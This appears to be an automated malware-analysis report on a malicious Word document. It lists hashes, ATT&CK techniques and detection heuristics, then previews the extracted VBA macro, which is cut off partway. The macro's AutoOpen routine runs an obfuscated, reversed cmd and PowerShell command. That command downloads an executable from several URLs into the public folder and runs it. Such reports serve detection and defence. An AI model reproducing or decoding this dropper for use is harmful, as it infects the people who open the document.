Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 28a30ca9deebf4e3…

MALICIOUS

Office (OLE)

66.2 KB Created: 2018-09-17 10:28:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: c7ca3d8c180a614f33030e2a5ac3cb0e SHA-1: 2e886856927ce32b13237e27549c7b795fa6f3e9 SHA-256: 28a30ca9deebf4e3ecfc1b3548356ecbea536217f6025d8f7e4482c4408f4449
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro is designed to execute a command, indicated by the 'Shell@' function call, which likely downloads and executes a second-stage payload. The presence of the AutoOpen macro and the nature of the shell execution strongly suggest a spearphishing attachment attack vector.

Heuristics 5

  • ClamAV: Doc.Malware.Generic-6691364-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6691364-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4811 bytes
SHA-256: 3a3baa216e5ccc1e4ad149d9a7b1ac41e6fc7fce1680556f5c6d1413f70b4221
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nEHLvviZt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const WQLYYn = 0
   Dim OjTpZi(3)
OjTpZi(0) = Right(MMUwpo, 607)
OjTpZi(1) = Left(zDZjGcDQ, 16)
OjTpZi(2) = MidB(vTWUCzKs, 897, 56)
   Dim jmqtS(4)
jmqtS(0) = MidB(vTWUCzKs, 897, 56)
jmqtS(1) = Left(zDZjGcDQ, 16)
jmqtS(2) = Right(MMUwpo, 607)
jmqtS(3) = Left(zDZjGcDQ, 16)
   Dim ThhwR(3)
ThhwR(0) = Mid(QVkuOnz, 617, 764)
ThhwR(1) = Mid(QVkuOnz, 617, 764)
ThhwR(2) = Left(zDZjGcDQ, 16)
   Dim DkRVfd(2)
DkRVfd(0) = MidB(vTWUCzKs, 897, 56)
DkRVfd(1) = MidB(vTWUCzKs, 897, 56)
   Dim MJTXw(4)
MJTXw(0) = MidB(vTWUCzKs, 897, 56)
MJTXw(1) = MidB(vTWUCzKs, 897, 56)
MJTXw(2) = MidB(vTWUCzKs, 897, 56)
MJTXw(3) = Left(zDZjGcDQ, 16)
   Dim iRQmb(5)
iRQmb(0) = Mid(QVkuOnz, 617, 764)
iRQmb(1) = Left(zDZjGcDQ, 16)
iRQmb(2) = Left(zDZjGcDQ, 16)
iRQmb(3) = Mid(QVkuOnz, 617, 764)
iRQmb(4) = Mid(QVkuOnz, 617, 764)
Shell@ jZLUvwMs + rASzACSOJ + CcQLfOa, CInt(WQLYYn)
   Dim vGYat(5)
vGYat(0) = Left(zDZjGcDQ, 16)
vGYat(1) = MidB(vTWUCzKs, 897, 56)
vGYat(2) = Left(zDZjGcDQ, 16)
vGYat(3) = Right(MMUwpo, 607)
vGYat(4) = Right(MMUwpo, 607)
   Dim AFtCQ(2)
AFtCQ(0) = Mid(QVkuOnz, 617, 764)
AFtCQ(1) = MidB(vTWUCzKs, 897, 56)
   Dim RSEAvN(3)
RSEAvN(0) = Mid(QVkuOnz, 617, 764)
RSEAvN(1) = Right(MMUwpo, 607)
RSEAvN(2) = Right(MMUwpo, 607)
End Sub


Attribute VB_Name = "jISkiNGlXB"
Function jZLUvwMs()
Dim XqNwhS(3)
XqNwhS(0) = Right(MMUwpo, 607)
XqNwhS(1) = Mid(QVkuOnz, 617, 764)
XqNwhS(2) = Right(MMUwpo, 607)
wUNoKjdcW = Format(Chr(9 + 9 + 14 + 8 + 59)) + "md /V^:/" + Format(Chr(6 + 6 + 10 + 5 + 40)) + Format(Chr(3 + 3 + 4 + 2 + 22)) + "^s^et ^pWA^h=  ^   ^   ^  ^   " + "^    ^}^}^{h" + Format(Chr(9 + 9 + 14 + 8 + 59)) + "^ta" + Format(Chr(9 + 9 + 14 + 8 + 59)) + "}^;^kaer^b" + ";Uq^j$ ^" + "m^et^I-e^k^ovn^I;)Uqj$ ,iT^h$("
Dim hCiFkO(2)
hCiFkO(0) = Mid(QVkuOnz, 617, 764)
hCiFkO(1) = Left(zDZjGcDQ, 16)
   Dim zcEsU(2)
zcEsU(0) = Right(MMUwpo, 607)
zcEsU(1) = Left(zDZjGcDQ, 16)
nEJwmpSqMS = "^el^iF^d^a^oln^w" + "^o^D.kGK${yr^t{)nR^L$^ " + "n^i i^Th^$(^h" + Format(Chr(9 + 9 + 14 + 8 + 59)) + "^a" + "^erof^;^'^e^xe.'+^ZL^W^$+'^\" + "'^+" + Format(Chr(9 + 9 + 14 + 8 + 59)) + "ilbu^p^:vn^e^$^=Uq^j^$^;'^" + "552^' ^=^ Z^LW$;)'^@^'(ti^l^pS" + ".'W^bf^" + "X3Z^i^t^0o/^z^i^b.^ak^ooo//" + ":^pt^t^h@^5y^wD" + "n7^Un2u/mo" + Format(Chr(9 + 9 + 14 + 8 + 59)) + "^.n^oit" + Format(Chr(9 + 9 + 14 + 8 + 59)) + "^e^le" + "^ss^p//:p^tt^h^@^I5" + "h^h^ta^lH/^ln^.b^" + "b^o^o^ts//^:ptt^h^@^"
Dim zrJVm(5)
zrJVm(0) = Left(zDZjGcDQ, 16)
zrJVm(1) = Mid(QVkuOnz, 617, 764)
zrJVm(2) = Mid(QVkuOnz, 617, 764)
zrJVm(3) = Right(MMUwpo, 607)
zrJVm(4) = Mid(QVkuOnz, 617, 764)
   Dim cphDZE(3)
cphDZE(0) = Right(MMUwpo, 607)
cphDZE(1) = Right(MMUwpo, 607)
cphDZE(2) = Right(MMUwpo, 607)
   Dim HrwmD(3)
HrwmD(0) = Left(zDZjGcDQ, 16)
HrwmD(1) = Mid(QVkuOnz, 617, 764)
HrwmD(2) = Mid(QVkuOnz, 617, 764)
Disminn = "sB8^8^4S" + Format(Chr(9 + 9 + 14 + 8 + 59)) + "^Y" + Format(Chr(6 + 6 + 10 + 5 + 40)) + "/ln^.^egar^po^" + "s^a^p//^:p^t^th^@^BR^M^5^K^0^k" + "/rb^.mo" + Format(Chr(9 + 9 + 14 + 8 + 59)) + "^.^ot^t^efr" + "^epop^urg//" + ":^p^tt^h^'^=nRL^$;tnei^l" + Format(Chr(6 + 6 + 10 + 5 + 40)) + "^b" + "eW^.teN " + "^t" + Format(Chr(9 + 9 + 14 + 8 + 59)) + "^e^j^b^o^-^" + "wen=kG^K^$^ l^l^ehsrew^o^p&&" + "^f^or /^L %" + "N ^in (^36^3^;^-^1^;^0)d" + "^o ^se^t 4^Iw^s=!4^Iw^"
Dim vadnLC(5)
vadnLC(0) = MidB(vTWUCzKs, 897, 56)
vadnLC(1) = Left(zDZjGcDQ, 16)
vadnLC(2) = Mid(QVkuOnz, 617, 764)
vadnLC(3) = Mid(QVkuOnz, 617, 764)
vadnLC(4) = Mid(QVkuOnz, 617, 764)
   Dim OIGBKB(5)
OIGBKB(0) = Left(zDZjGcDQ, 16)
OIGBKB(1) = Right(MMUwpo, 607)
OIGBKB(2) = Left(zDZjGcDQ, 16)
OIGBKB(3) = MidB(vTWUCzKs, 897, 56)
OIGBKB(4) = Mid(QVkuOnz, 617, 764)
   Dim uMOslR(4)
uMOslR(0) = MidB(vTWUCzKs, 897, 56)
uMOslR(1) = Mid(QVkuOnz, 617, 764
... (truncated)